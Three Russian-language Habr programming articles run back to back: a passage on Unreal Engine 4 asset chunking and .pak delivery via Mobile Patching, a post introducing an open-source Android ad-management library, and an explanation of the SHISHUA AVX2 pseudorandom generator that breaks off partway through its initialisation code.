* *Priority* — приоритет владения Secondary Asset-ом. Если несколько Primary Asset-ов ссылаются на общий Secondary Asset, то владельцем такого ассета будет считаться Primary Asset с наивысшим приоритетом. Это крайне важный параметр для корректного распределения ассетов по чанкам.
* *Apply Recursively* — ко всем зависимостям (reference) Primary Asset-а будут применены параметры указанные в *Chunk ID* и *Cook Rule*, с учетом механизма *Priority*. Изучить зависимости ассетов можно через инструмент [Reference Viewer](https://docs.unrealengine.com/en-US/Basics/ContentBrowser/ReferenceViewer/index.html#:~:text=The%20Reference%20Viewer%20displays%20a,that%20appears%2C%20click%20Reference%20Viewer).
* *Cook Rule* — отдельный параметр, который не связан напрямую с чанками и не связан с конфигурацией сборки (Shipping, Development и т.д). Контекст Cook Rule связан с отдельной настройкой Asset Manager-a «*Cook Only Production Assets*». Кстати, данное поведение можно изменить с помощью виртуального метода *AssetManager::VerifyCanCookPackage*
Найти данные настройки можно в настройках *Asset Manager-a*: *Project Settings → Asset Manager → Primary Asset Types To Scan.*
Стоит сразу отметить, что все перечисленные параметры настраиваются для каждого типа Primary Asset-а отдельно. Ключевыми параметрами для групп ассетов являются *Priority* и *Apply Recursively*.
Apply Recursively
-----------------
Apply Recursively применяет все правила категории Rules Primary Asset-a ко всем его зависимостям. Предположим, что один из блюпринтов игры, например, гейм мод, отнесен к chunk id = 1. В таком случае, со включенной галкой *Apply Recursively* все зависимости GameMode также попадут в первый чанк.
С выключенной опцией зависимости окажутся в нулевом чанке (там оказываются все ассеты, которые не отнесены к другим чанкам).
Priority
--------
Теперь добавим в наше уравнение второй параметр — *Priority*. В случае, если на Secondary Asset ссылаются сразу несколько Primary Asset-ов выбор итогового id чанка для такого ассета будет осуществлен путем сравнения приоритетов Primary Asset-ов. Например, предположим, что на наш ассет GameMode также ссылается другой Primary Asset, оба Primary Asset-a также применяют свои правила для всех Secondary Assets (Apply Recursive = true)
В таком случае, все Secondary Asset-ы окажутся в chunk id = 1, т.к этот чанк имеет более высокий приоритет по сравнению с конкурентом — chunk id = 99.
Иерархия чанков
---------------
И снова добавим новую переменную в наше уравнение :) Для разрешения проблем дублирования ассетов между разными чанками в UE4 существует возможность создавать иерархию чанков с помощью настроек в DefaultEngine.ini.
Иерархия чанков позволяет задавать для каждого чанка «старший» (parent) чанк. Если parent чанк уже содержит ассет из child чанка, то он так и останется только в parent чанк и дублирование ассета в child чанк не произойдет. За счет правильной выстроенной иерархии можно избежать дублирования ассетов между разными чанками. Формат настройки иерархии выглядит следующим образом:
```
DependencyArray = (ChunkID=, ParentChunkID=)
```
Пример настройки иерархии для нескольких чанков:
```
[/Script/UnrealEd.ChunkDependencyInfo]
DependencyArray=(ChunkID=1,ParentChunkID=0)
DependencyArray=(ChunkID=2,ParentChunkID=1)
```
При такой иерархии чанков мы избежим дублирования ассетов из нулевого чанка, а во второй чанк не попадут дубли ассетов из первого и нулевого.
Обход правил Apply Recursively и Priority
-----------------------------------------
В некоторых случаях можно столкнуться с проблемой, когда требуется исключить какой-либо ассет, либо его зависимости из процесса чанкования, либо проигнорировать применение правил “Apply Recursively” для такого чанка. Например, такая проблема может возникнуть при отделении тестового контента, либо контента для реализации системы читов от контента основной игры, при этом читы могут ссылаться на разные игровые ассеты. Здесь на выручку может прийти реализация метода *UAssetManager::ShouldSetManager*. Данный метод вызывается Asset Manager-ом при применении правил Primary Asset-ов и позволяет проигнорировать применение правил для зависимостей ассета или наоборот, заставить их применить.Легче всего объяснить суть метода на примере из нашего проекта, где зависимости ряда ассетов исключаются из применения правил за счет следующей реализации метода:
```
EAssetSetManagerResult::Type UMHAssetManager::ShouldSetManager(const FAssetIdentifier& Manager, const FAssetIdentifier& Source, const FAssetIdentifier& Target, UE::AssetRegistry::EDependencyCategory Category, UE::AssetRegistry::EDependencyProperty Properties, EAssetSetManagerFlags::Type Flags) const
{
EAssetSetManagerResult::Type result = Super::ShouldSetManager(Manager, Source, Target, Category, Properties, Flags);
if (result == EAssetSetManagerResult::DoNotSet)
{
return result;
}
UMHAssetManagerSettings* settings = UMHAssetManagerSettings::StaticClass()->GetDefaultObject();
bool bHasExclude = settings->ExcludeRecurse.ContainsByPredicate([Target](const auto& lhs) {
return lhs.GetLongPackageName() == (Target.PackageName.ToString());
});
if (bHasExclude)
{
return EAssetSetManagerResult::SetButDoNotRecurse;
}
return result;
}
```
Сам метод дополняет изначальную логику проверкой содержится ли *Target* ассет в списке исключений и, если да, то возвращает для такого ассета результат *EAssetSetManagerResult::SetButDoNotRecurse*, который исключает зависимости данного ассета от применения текущих правил. В зависимости от ситуации можно возвращать иной тип результата *EAssetSetManagerResult,* например, наоборот, *SetAndRecurse* — что заставит Asset Manager применить правила для всех зависимостей *Target* ассета.
Выбор Primary Asset-ов
----------------------
Primary Asset-ом считается любой ассет, который обладает валидным *Primary Asset Id*. В UE4 существует несколько способов создать такой *Primary Asset Id* для ассета:
* реализовать метод *GetPrimaryAssetId* в родительском классе ассета;
* использовать готовые классы с реализацией *GetPrimaryAssetId — UPrimaryAssetLabel, UPrimaryDataAsset;*
* использовать настройки *Asset Manager* для выбора *Primary Assets (*вместе с опцией «*Should Manager Determine Type and Name»,* которая «автоматизирует» создание *Primary Asset Id* для выбранных ассетов)
Хочу сразу отметить, что какой бы вы путь не выбрали, в настройках Asset Manager потребуется указать путь к *Primary Asset*:
Универсального подхода по выбору и методу создания Primary Asset-ов нет, т.к каждой игре потребуется свой подход, тем не менее, одним из крайне удобных вариантов оказалось использование ассета *UPrimaryAssetLabel*.*UPrimaryAssetLabel* представляет собой *Data Asset*, который позволяет выбрать ассеты и за счет создания такой зависимости, выбранные ассеты становятся «частью» данного Primary Asset-а.
Использование *UPrimaryAssetLabel* позволяет хранить все настройки чанков в одном ассете. Например, в одном из примеров от *Epic Games, Shooter Game Example*, реализовано чанкование проекта по картам. В таком случае, каждый *UPrimaryAssetLabel* (чанк) содержит свою карту.
Кроме того, использование *UPrimaryAssetLabel* позволяет:
* Удобно менять содержимое чанка — зачастую есть необходимость скорректировать содержимое чанка добавив определенный ассет в него «вручную».
* Опция Label Assets In My Directory — создает зависимость (reference) на все ассеты в папке с *UPrimaryAssetLable*. Удобная опция, когда часть ваших ассетов (например, контент для тестирования игры) сгруппирован по определенному пути, но при этом все ассеты имеют разный тип. Тогда, включив Label Assets In My Directory и задав определенный chunk id для таких ассетов, можно избежать необходимости маркировать каждый ассет в ручную в *Asset Manager*.
Во многом использование *UPrimaryAssetLabel* дублирует функционал настроек *Asset Manager-а*, но использование отдельного ассета для организации чанков позволяет легче контролировать их содержимое.
Проверка содержимого чанков
---------------------------
Настроив все Primary Assets возникает вопрос о том, как проверить итоговое содержимое чанков. Для такой проверки UE4 предоставляет удобный инструмент — Asset Audit : Window → Developer Tools → Asset Audit.
**Asset Audit**
Предварительно для корректной работы инструмента стоит собрать проект с чанками. Для этого требуется:
1. Включить Generate Chunks в настройках Packaging: Project Settings → Packaging → Generate Chunks;
2. Собственно, собрать проект.
Меню Asset Audit предлагает доступ к обзору созданных чанков и их содержимому и позволяет узнать более конкретную информацию о разделение ассетов.
Добавление чанков в меню осуществляется с помощью кнопки Add Chunks.
Для просмотра содержимого чанка можно воспользоваться несколькими меню: Size View или Reference View через ПКМ:
Кроме этого, в меню доступны несколько полезных опций:
* Selected Platform — позволяет выбрать для какой платформы отображать данные.
Для non-Editor платформ корректные данные отображаются только после сборки проекта с чанками.
* Add Asset Class — позволяет выбрать любой тип ассета и получить информацию о том, в каком чанке он находится (столбец Chunks):
* Add Primary Asset Type — позволяет выбрать один из типов Primary Asset, полезная опция для проверки корректности настроек Primary Asset-ов в Asset Manager
Настроив распределение контента по чанкам и получив несколько .pak файлов возникает вопрос о том, какие операции доступны с .pak файлами и каким образом их можно доставить до клиента?
**Pak файл**
Стандартными этапами сборки любой игры на UE4 являются:
* сборка кода игры под целевую платформу;
* сборка (cooking) используемых игрой ассетов под целевую платформу и их «упаковывание» в .pak файл — архив с ассетами;
* создание контейнера (установщика) приложения (например, .apk файла для Android платформы), который будет содержать результаты сборки проекта с предыдущих шагов.
Как оказалось, само взаимодействие с .pak файлами сводится к нескольким вещам: их монтированию (установке) и демонтированию.
Операция по монтированию .pak файла позволяла использовать весь контент (ассеты) из .pak файла без каких-либо дополнительных вмешательств.
Для работы с .pak файлами используется движковый класс *FPakPlatformFile*, который в свою очередь является реализацией интерфейса *IPlatformFile*. Получить объект класса можно через файловый менеджер - “*FPlatformFileManager*”:
`FPakPlatformFile* PakPlatformFile = FPlatformFileManager::Get().FindPlatformFile(FPakPlatformFile::GetTypeName());`
Существующая реализация предоставляла для нас все необходимые методы:
`bool FPakPlatformFile::Mount(const TChar* Filename, uint32 PakOrder, const TChar* InPath, bool bLoadIndex);` — для монтирования пак файла;
В качестве входных параметров достаточно передавать только два — *Filename*, указывающий полный путь до пак файла и *PakOrder*, который применяется для сортировки пак файлов. В наших условиях параметр всегда равен единице, т.к порядок монтирования пак файлов для нас не имеет значения.
`bool FPakPlatformFile::Unmount(const TChar* InPakFilename)` — для демонтирования;
`void GetMountedPaks(TArray& OutPakfiles)` — для получения списка установленных .pak файлов.
Кроме того, для монтирования пак файла можно просто воспользоваться глобальным делегатом *FFCoreDelegates::MountPak*, а для демонтирования его аналогом — *FCoreDelegates::OnUnmountPak*. Хотя само по себе использование глобальных делегатов для таких операций выглядит сомнительно.
Быстрая проверка API FPakPlatformFile показала нам, что добавление (Mount) новых .pak файлов не вызывает никаких проблем, а также, что мы сможем удалять (Unmount) новые .pak файлы из клиента не вызывая проблем с игрой.
Таким образом мы получили ответ на один из наших вопросов: как именно можно добавлять и удалять дополнительные .pak файлы.
**Mobile Patching**
Для загрузки новых .pak файлов можно написать свой функционал, который будет просто скачивать файлы с сетевого хранилища.Но UE4 предоставляет несколько решений, ориентированных на работу с загрузкой чанков.Одно из них реализовано плагином Mobile Patching. Не смотря на такое название, плагин отлично справляется с работой и на desktop платформах.
Плагин использует встроенный в UE4 функционал по созданию .pak файлов чанков в оптимизированном формате для загрузки через интернет.Такой функционал включается в настройках Packaging -> Build Http Chunk Install Data.
Это приводит к созданию нескольких дополнительных файлов:
* манифестов с описанием мета-данных о .pak файле каждого чанков;
* множества небольших по размеру «кусков» .pak файлов; Их объединение в .pak файл осуществляется функционалом MobilePatching.
Кроме того, такой формат загрузки и сборки .pak файла гораздо лучше подходит для загрузки через интернет - загрузка отдельных небольших файлов позволяет реализовать “дозагрузку” недостающих файлов при обрыве соединения;
Mobile Patching реализует следующий функционал:
* Загрузку .pak файлов;
* Патчинг .pak файлов;
* Проверку на целостность .pak файлов.
Загрузка .pak файлов осуществляется с помощью метода:
```
UMobilePendingContent* UMobilePatching::RequestContent(const FString& RemoteManifestURL, const FString& CloudURL, const FString& InstallDirectory, const FString& PatchStagingFolder, FOnRequestContentSucceeded OnSucceeded, FOnRequestContentFailed OnFailed);
```
В качестве входных параметров передается URL манифеста нужного .pak файла и URL *CloudDir* — это папка, сформированная в ходе сборки проекта с включенными опциями Build Http Chunk Install Data.
Параметр *InstallDirectory* — путь по которому будет скачан требуемый .pak файл.
Возвращаемый объект *UMobilePendingContent* можно использовать для получения прогресса загрузки .*pak* файла.
В целом, метода *UMobilePatching::RequestContent* достаточно для загрузки новых .pak файлов, а их установку можно произвести с помощью функционала, который я описывал ранее в статье. Также, метод *UMobilePatching::RequestContent* можно безболезненно вызывать, даже если вы уже знаете, что скачали и установили требуемый .pak файл. Повторный вызов *UMobilePatching::RequestContent* не начнет загрузку заново, но проведет проверку .pak файла на целостность и необходимость его обновления (если *RemoteManifestURL* содержит новый манифест).
Кстати, сам плагин так же позволяет производить загрузку .pak файлов прямо из игровой сессии в редакторе, что значительно облегчает тестирование функционала. Единственной проблемой может выступать отсутствие функционала по работе с .pak файлами в редакторе — весь контент нам доступен изначально.
**Создание патчей**
Для создания новой версии чанков (например, если вы произвели какие-то изменения в них, добавили новый контент), достаточно изменить опцию Http Chunk Install Data Version — вся остальная логика по загрузке патча и обновлению .pak файла на клиенте уже реализована в методе *UMobilePatching::RequestContent*.
**Дополнительные настройки**
Плагин содержит ряд дополнительных настроек, который в основном связан с решением проблем загрузки новых чанков через интернет в связи с низкой скоростью загрузки. Это наиболее актуально для мобильных платформ, т.к качество соединение может быть достаточно слабым. Все настройки относятся к секции [Portal.BuildPatch] Engine.ini конфига и начать их изучение можно с метода —*FBuildPatchInstaller::BuildConnectionCountConfig*.
Для наших условий самыми важными оказались следующее настройки:
* *ChunkDownloadsLowerLimit — позволяет снизить количество параллельных загрузок;*
* *DisconnectedDelay — влияет на время выставления флага о «провале» загрузки чанка. Для мобильных платформ имеет смысл выставлять относительно большое значение.*
Заключение
----------
Подводя итоги, хочу отметить, что опасения о «сырости» функционала по чанкованию проекта, к счастью, не оправдались.
UE4 предоставляет весь набор инструментов, которые позволяют получить любой удобный для работы набор .pak файлов, а также готовые подходы по доставке таких .pak файлов до клиента. Отмечу, что сам по себе функционал чанкования становится одним из необходимых этапов разработки для мобильных платформ в связи с появлением нового формата приложений для Android платформ — Android Application Bundle. Вдаваться в детали организации этого формата я уже не буду, но его «модульное» устройство, в терминах UE4 основывается как раз на чанках. | https://habr.com/ru/post/572554/ | null | ru | null |
# Управление рекламой (android)
Реклама в приложении — это очень важный момент, а иногда и единственный заработок.
Думаю, многие задавались вопросом о том, какая реклама лучше и где ее лучше размещать. Каждое приложение индивидуально, поэтому нужно экспериментировать.
Выпускать каждый раз обновления приложения с экспериментами? Не вариант. Гораздо лучше все настройки хранить на стороне сервера, а в приложении реализовать логику показа рекламы.
Но все ли так просто?
Цель данного поста:
— внести небольшой вклад в open source ([исходники](https://github.com/AlexeyFreelancer/Android-Ads-Manager), [демка](https://play.google.com/store/apps/details?id=ru.chinaprices.ads.app))
— получить адекватную критику
— найти разработчиков, которые готовы поддержать проект
— попиарить приложение [Цены в Китае](https://play.google.com/store/apps/details?id=ru.chinaprices), где используется данный подход
#### Предисловие
Сразу хочу сказать, что я не очень опытный Android/Java разработчик. Программирую в основном на php (более 5 лет). Это мое первое android приложение, поэтому не судите строго.
#### Возможности библиотеки
##### Виды рекламы
— AdMob
— StartAd.mobi
— свой баннер, написанный в виде html
##### Отображение
— Снизу
— Сверху
— В списке (с заданным шагом)
— Внутри указанного элемента (указываем id элемента)
— Межстраничная реклама (на весь экран)
#### Примеры использования
##### AdMob снизу
```
AdMob ad = new AdMob(activity, adMobId);
AdManager manager = new AdManager(ad);
manager.show(Gravity.BOTTOM | Gravity.CENTER_HORIZONTAL);
```
##### AdMob smart
Если нужно растянуть на всю ширину экрана
```
adMob.setAdSize(AdSize.SMART_BANNER);
```
##### Свой баннер сверху
```
AdCustom ad = new AdCustom(activity, html);
AdManager manager = new AdManager(ad);
manager.show(Gravity.TOP | Gravity.CENTER_HORIZONTAL);
```
##### В списке с шагом 15
```
AdListAdapter adapter = new AdListAdapter(oldAdapter);
AdMob ad = new AdMob(activity, adMobId);
adapter.setStep(15);
adapter.setAd(ad);
adapter.notifyDataSetChanged();
```
##### В конкретном месте
```
AdStartAd ad = new AdStartAd(activity, startadId);
AdManager manager = new AdManager(ad);
manager.showInView("inline_banner");
```
##### Межстраничный баннер
```
AdMobInterstitialAd ad = new AdMobInterstitialAd(activity, admobId);
ad.show();
```
##### Настройки на стороне сервера
```
new AdsLoadTask(getActivity(), sectionNumber, adapter, "android").execute();
```
#### Подключение к проекту
На текущий момент это не библиотека, а обычное приложение. Чтобы использовать в своем приложении нужно сделать следующее:
— перенести библиотеки из папки libs
— обновить зависимости в build.gradle
```
compile 'com.google.android.gms:play-services:4.0.30'
compile files('libs/StartADLib-1.0.1.jar')
compile 'com.google.code.gson:gson:2.2.4@jar'
```
— изменить AndroidManifest.xml
```
```
#### Планы на будущее
— реализовать backend для настроек на сервере. У меня это уже реализовано в проекте, но нужно как-то перенести.
— статистики показов (тоже реализовано) и кликов
— добавить больше типов рекламы
— исправить TODO и FIXME в коде
— оформить в виде библиотеки (а не в виде проекта с копирование файлов в нужные места)
— выложить в maven репозиторий
#### Помощь
Времени как всегда не хватает, поэтому любая помощь от разработчиков не помешает. Давайте не будем стесняться что-то делать и показывать это другим. Вспомнилась поговорка «Не бойся ошибиться, бойся не попробовать». Я не прошу реализовывать что-то сверхестественное. Просто если вы будете использовать что-то из этого в своем проекте и решите добавить что-новое, или найдете какой-то баг — не поленитесь, пришлите pull request.
#### Эксперименты и выводы
Экспериментировал с рекламой я много (2 месяца) и нашел оптимальный вариант для себя. Многим пользователям он не нравится, но удалось увеличить CTR c 0.2 до 0.9. Появится время — поделюсь статистикой по приложению (трафик, оценки, прибыль). Уже есть небольшой опыт и есть что рассказать. | https://habr.com/ru/post/208984/ | null | ru | null |
# SHISHUA: самый быстрый в мире генератор псевдослучайных чисел
Полгода назад мне захотелось создать лучший генератор псевдослучайных чисел (ГПСЧ) с какой-нибудь необычной архитектурой. Я думал, что начало будет лёгким, а по мере работы задача станет медленно усложняться. И думал, смогу ли я научиться всему достаточно быстро, чтобы справиться с самым сложным.
К моему удивлению, сложность возрастала не линейно. Побайтовое тестирование по критерию хи-квадрат оказалось очень трудным! Позднее столь же трудно было пройти тесты diehard. Я [опубликовал текущие результаты](https://mobile.twitter.com/espadrine/status/1184542865969614849), чтобы понять, какие ещё трудности меня ожидают. Однако [тест PractRand в тот раз пройти не удалось](https://mobile.twitter.com/espadrine/status/1184883565634424832).
Затем было очень трудно [прохождение теста BigCrush](https://mobile.twitter.com/espadrine/status/1186358084425400320).
Затем было очень трудно передавать 32 тебибайта данных при прохождении PractRand. Скорость стала проблемой. Мало было создать конструкцию, генерирующей десять мегабайтов в секунду, потому что прохождение PractRand заняло бы месяц. Но должен признаться, что [пройти этот тест со скоростью гигабайт в секунду](https://github.com/espadrine/combit) было очень трудно.
Когда поднимаешься на такую высоту… тебе хочется узнать, сможешь ли ты добраться до границы Парето. Ты хочешь создать самый быстрый в мире ГПСЧ, который пройдёт самые сложные статистические тесты.
Мне это удалось.
В [предыдущей статье](https://espadrine.github.io/blog/posts/a-primer-on-randomness.html) я рассказал, чему научился, чтобы добиться своей цели. А здесь я расскажу, как работает финальная архитектура.
Цель
----
Начнём с очевидного: **скорость зависит от платформы**. Я сосредоточился на оптимизации под современную архитектуру x86-64 (процессоры Intel и AMD).
Для сравнения производительности используется классическая метрика **cpb**: это количество циклов процессора, потраченных на генерирование одного байта. Эта метрика [вычисляется и сравнивается](https://bench.cr.yp.to/supercop.html) во всех криптографических работах. Чуть меньшая величина cpb в мире ПО или оборудования может обеспечить победу в соревновании или использование на веб-сайтах по всему миру.
Чтобы улучшить cpb, можно:
1. Генерировать больше байтов при том же объёме работы,
2. Или делать меньше работы, чтобы генерировать тоже количество байтов,
3. Или распараллелить работу.
Мы сделаем всё перечисленное.
Согласно первому пункту, нам нужно при каждой итерации выдавать больше битов.
Я боялся, что мне будут говорить: «Если он не выдаёт 32-битные числа, то это не ГПСЧ», или то же самое с 64-битными числами. Или: «ГПСЧ должен быть предназначен только для архитектуры x86-64», словно запрещены инструкции вроде POPCNT или регистры вроде %xmm7.
Однако ГПСЧ — это инженерия: авторы генераторов уже несколько десятилетий стараются выжать из процессоров всё возможное! Когда появился ROL, они начали полагаться на него. С появлением 64-битных процессоров стали полагаться на %rax. Конечно, на ARM такие алгоритмы могут работать медленнее (хотя это ещё предстоит выяснить), однако 64-битные ГПСЧ активно использовались ещё до того, как Android начал требовать в 2019-м поддержку 64-битности!
То есть эта сфера развивается вместе с аппаратной частью. И сегодня процессоры Intel и AMD за счёт [AVX2](https://software.intel.com/en-us/articles/how-intel-avx2-improves-performance-on-server-applications) поддерживают уже 256-битные операции. RC4 выдавал 1 байт, drand48 мог за раз выдавать 4 байта, pcg64 — 8 байтов, а теперь мы можем сразу генерировать по 32 байта.
8 байтов могут представлять собой 64-битное число, и в большинстве языков программирования есть для этого встроенные типы. Но мало какие языки предоставляют типы для 16 байтов (примечательное исключение — [\_\_uint128\_t](https://gcc.gnu.org/onlinedocs/gcc/_005f_005fint128.html) в С). Ещё меньше языков имеют тип для 32 байтов (кроме внутренних).
Так что можем попрощаться с обычным прототипом ГПСЧ-функции (пример из бенчмарка Виньи [HWD](http://xoshiro.di.unimi.it/hwd.c)):
```
static uint64_t next(void);
```
Вместо этого можно сделать генератор, заполняющий буфер (пример из [моего бенчмарка](https://github.com/espadrine/shishua/blob/master/prng.c)):
```
void prng_gen(prng_state *s, __uint64_t buf[], __uint64_t size);
```
Какие у этого решения недостатки?
Если ваш генератор выдаёт по 32 байта за раз, то нужно, чтобы потребитель предоставил массив, кратный 32 (в идеале, выровненный по 32 байтам). Хотя можно обойтись и без этого, просто будем заполнять буфер. Неиспользованные данные будем из него убирать и снова заполнять по мере необходимости. *Задержка* становится непредсказуемой: некоторые вызовы будут просто читать буфер. Но в среднем всё будет так же.
Теперь мы генерируем больше байтов, делая тот же объём работы. Как нам распараллелить её?
Параллелизм
-----------
Процессоры предлагают на всех уровнях невероятный набор инструментов распараллеливания.
Во-первых, это SIMD-инструкции (Single-Instruction, Multiple Data). Например, AVX2 параллельно выполняет четыре 64-битных сложения, или восемь 32-битных, и т.д.
В криптографии это используют уже лет пятнадцать. Параллелизм обеспечил невероятную производительность [ChaCha20](https://github.com/floodyberry/supercop/tree/master/crypto_stream/chacha20/dolbeau/amd64-avx2). Его применяют большинство важных примитивов, не использующих AESNI. Например, [NORX](https://norx.io/data/norx.pdf) и [Gimli](https://cryptojedi.org/papers/gimli-20170627.pdf) спроектированы с учётом параллелизма.
Недавно в некриптографическом ГПСЧ-сообществе тоже возрос интерес к этой теме. В частности, существующие примитивы, которые проектировались не под SIMD, могут стать основой для создания очень быстрых ГПСЧ.
Когда Себастьяно Винья (Sebastiano Vigna) продвигал свою архитектуру [xoshiro256++](http://prng.di.unimi.it/#speed) в стандартной библиотеке языка Julia, [он выяснил](https://github.com/JuliaLang/julia/issues/27614#issuecomment-548154730), что результаты восьми конкурентных, по-разному инициализированных экземпляров ГПСЧ можно конкатенировать очень быстро, если каждую операцию исполнять одновременно во всех ГПСЧ.
SIMD — лишь один из уровней распараллеливания в процессоре. Рекомендую прочитать [предыдущую статью по этой теме](https://espadrine.github.io/blog/posts/a-primer-on-randomness.html), чтобы иметь лучшее представление, но я буду давать некоторые пояснения.
**Конвейеры процессора** позволяют обрабатывать на разных стадиях по несколько инструкций. Если хорошо организовать порядок их исполнения, чтобы уменьшить зависимости между стадиями, то можно ускорить обработку инструкций.
**Суперскалярное исполнение** позволяет одновременно обрабатывать вычислительные части инструкций. Но для этого они не должны иметь зависимостей на чтение-запись. Можно адаптировать архитектуру для снижения риска простоев, выполняя запись задолго до чтения.
**Внеочередное исполнение** позволяет процессору исполнять инструкции не в порядке следования, а по мере их готовности, даже если предыдущие инструкции ещё не готовы. Но для этого не должно быть зависимости на чтение-запись.
А теперь переходим к реализации!
Архитектура
-----------
Рассмотрим схему, которая называется полу-SHISHUA. Откуда такое название, станет постепенно очевидно по мере чтения.
Схема выглядит так:
Рассмотрим её строка за строкой.
```
typedef struct prng_state {
__m256i state[2];
__m256i output;
__m256i counter;
} prng_state;
```
Состояние делится на две части, которые помещаются в регистр AVX2 (256 бит). Для повышения скорости мы держим результат недалеко от самого состояния, но он не является частью состояния.
Также у нас есть 64-битный счётчик. Для упрощения вычисления он тоже является регистром AVX2. Дело в том, что у AVX2 есть небольшая особенность: обычные регистры (%rax и подобные) не могут посредством MOV передаваться напрямую в SIMD, они должны проходить через оперативную память (чаще всего через стек), что повышает задержку и обходится в две процессорные инструкции (MOV в стек, VMOV из стека).
Теперь посмотрим на генерирование. Начнём с загрузки, затем пройдёмся по буферу и на каждой итерации заполним его 32 байтами.
```
inline void prng_gen(prng_state *s, __uint64_t buf[], __uint64_t size) {
__m256i s0 = s->state[0], counter = s->counter,
s1 = s->state[1], o = s->output;
for (__uint64_t i = 0; i < size; i += 4) {
_mm256_storeu_si256((__m256i*)&buf[i], o);
// …
}
s->state[0] = s0; s->counter = counter;
s->state[1] = s1; s->output = o;
}
```
Поскольку функция заинлайнена, немедленное заполнение буфера при старте позволяет процессору сразу же исполнять зависящие от этого инструкции посредством механизма внеочередного исполнения.
Внутри цикла мы быстро выполняем три операции над состоянием:
1. **SHI**ft
2. **SHU**ffle
3. **A**dd
Отсюда название SHISHUA!
### Сначала выполняем сдвиг (shift)
```
u0 = _mm256_srli_epi64(s0, 1); u1 = _mm256_srli_epi64(s1, 3);
```
К сожалению, AVX2 не поддерживает обороты. Но я хочу перемешать биты одной позиции в 64-битном числе с битами другой позиции! И сдвиг — лучший способ это реализовать. Будем сдвигать на нечётное число, чтобы каждый бит побывал на всех 64-битных позициях, а не на половине из них.
При сдвиге теряются биты, что приводит к удалению информации из нашего состояния. Это плохо, нужно минимизировать потери. Самые маленькие нечётные числа — 1 и 3, мы будем использовать разные значения сдвига, чтобы увеличить расхождение между двумя частями. Это поможет уменьшить сходство их самокорреляции.
Будем сдвигать вправо, потому что крайние правые биты имеют самую низкую диффузию при сложении: например, младший бит в A+B — это просто XOR младших битов A и B.
### Перемешивание
```
t0 = _mm256_permutevar8x32_epi32(s0, shu0); t1 = _mm256_permutevar8x32_epi32(s1, shu1);
```
Воспользуемся 32-битным перемешиванием, потому что оно даёт иную гранулярность по сравнению с 64-битными операциями, которые мы везде используем (нарушается 64-битное выравнивание). К тому же это может быть cross-lane операция: другие перемешивания могут двигать биты в рамках левых 128 битов, если они начинаются слева, или в рамках правых 128 битов, если начинаются справа.
Константы перемешивания:
```
__m256i shu0 = _mm256_set_epi32(4, 3, 2, 1, 0, 7, 6, 5),
shu1 = _mm256_set_epi32(2, 1, 0, 7, 6, 5, 4, 3);
```
Чтобы перемешивание действительно улучшило результат, мы передвинем слабые (с низким рассеиванием) 32-битные части 64-битных сложений на сильные позиции, чтобы следующие сложения их обогащали.
Младшая 32-битная часть 64-битного чанка никогда не перемещается в тот же 64-битный чанк, что и старшая часть. Таким образом, обе части не остаются в рамках одного чанка, что улучшает перемешивание.
В конце концов каждая 32-битная часть проходит по всем позициям по кругу: с A на B, с B на C, … с H на A.
Вы могли заметить, что простейшее перемешивание, учитывающее все эти требования, представляет собой два 256-битных оборота (обороты на 96 битов и 160 битов вправо соответственно).
### Сложение
Сложим 64-битные чанки из двух временных переменных — сдвига и перемешивания.
```
s0 = _mm256_add_epi64(t0, u0); s1 = _mm256_add_epi64(t1, u1);
```
Сложение — это главный источник рассеивания: при этой операции биты комбинируют в несокращаемые комбинации выражений XOR и AND, распределённые по 64-битным позициям.
Хранение результата сложения внутри состояния навсегда сохраняет это рассеивание.
### Выходная функция
Откуда мы получаем выходные данные?
Всё просто: созданная нами структура позволяет генерировать две независимые части состояния s0 и s1, которые никак не влияют друг на друга. Применяем к ним XOR и получаем совершенно случайный результат.
Для усиления независимости между данными, к которым мы применяем XOR, возьмём частичный результат: сдвинутую часть одного состояния и перемешанную часть другого.
```
o = _mm256_xor_si256(u0, t1);
```
Это аналогично уменьшению зависимостей по чтению-записи между инструкциями в суперскалярном процессоре, как если бы u0 и t1 были готовы для чтения до s0 и s1.
Теперь обсудим счётчик. Мы обрабатываем его в начале цикла. Сначала изменяем состояние, а затем увеличиваем значение счётчика:
```
s1 = _mm256_add_epi64(s1, counter);
counter = _mm256_add_epi64(counter, increment);
```
Почему сначала меняем состояние, а потом обновляем счётчик? s1 становится доступен раньше, это снижает вероятность того, что последующие инструкции, которые его читают, остановятся в конвейере процессора. Также эта очерёдность помогает избежать прямой зависимости счётчика по чтению-записи.
Мы применяем счётчик к s1, а не к s0, потому что они всё-равно оба влияют на выходные данные, однако, s1 теряет из-за сдвига больше битов, так что это помогает ему «встать на ноги» после сдвига.
Счётчик может и не зафиксировать прохождение теста PractRand. Его единственная цель — задать нижнюю границу в 269 байтов = 512 эксбибайтов на период ГПСЧ: мы начинаем повторять цикл только через одно тысячелетие работы со скоростью 10 гибибайтов в сек. Вряд ли это будет слишком низкой скоростью для практического применения в ближайшие века.
Инкрементирование:
```
__m256i increment = _mm256_set_epi64x(1, 3, 5, 7);
```
В качестве инкрементов выбираются нечётные числа, потому что только базовые взаимно простые числа охватывают весь цикл конечного поля GF(264), а все нечётные числа являются взаимно простыми для 2. Иными словами, если вы инкрементируете по чётному целому числу в диапазоне от 0 до 4, возвращаясь к 0 после 4, то получается последовательность 0-2-0-2-…, которая никогда не приведёт к 1 или 3. А нечётный инкремент проходит через все целые числа.
Для всех 64-битных чисел в состоянии мы применим разные нечётные числа, что ещё больше разделит их и немного усилит смешивание. Я выбрал самые маленькие нечётные числа, чтобы они не выглядели волшебными.
Так работает переход между состояниями и выходная функция. Как их инициализировать?
### Инициализация
Инициализируем состояние с помощью шестнадцатеричных цифр Φ — иррационального числа, которое меньше всего аппроксимируется дробью.
```
static __uint64_t phi[8] = {
0x9E3779B97F4A7C15, 0xF39CC0605CEDC834, 0x1082276BF3A27251, 0xF86C6A11D0C18E95,
0x2767F0B153D27B7F, 0x0347045B5BF1827F, 0x01886F0928403002, 0xC1D64BA40F335E36,
};
```
Возьмём 256-битное начальное число. Так часто делается в криптографии и не вредит работе некриптографических ГПСЧ:
```
prng_state prng_init(SEEDTYPE seed[4]) {
prng_state s;
// …
return s;
}
```
Мы не хотим с помощью этого начального числа переопределять всю часть состояния (s0 или s1), нам нужно повлиять лишь на половину. Так мы избежим использования ослабляющих начальных чисел, которые случайно или намеренно задают известное слабое начальное состояние.
Поскольку мы не меняем половину каждого состояния, мы сохраняем контроль над 128 битами состояния. Такой энтропии достаточно для начала и сохранения сильной позиции.
```
s.state[0] = _mm256_set_epi64x(phi[3], phi[2] ^ seed[1], phi[1], phi[0] ^ seed[0]);
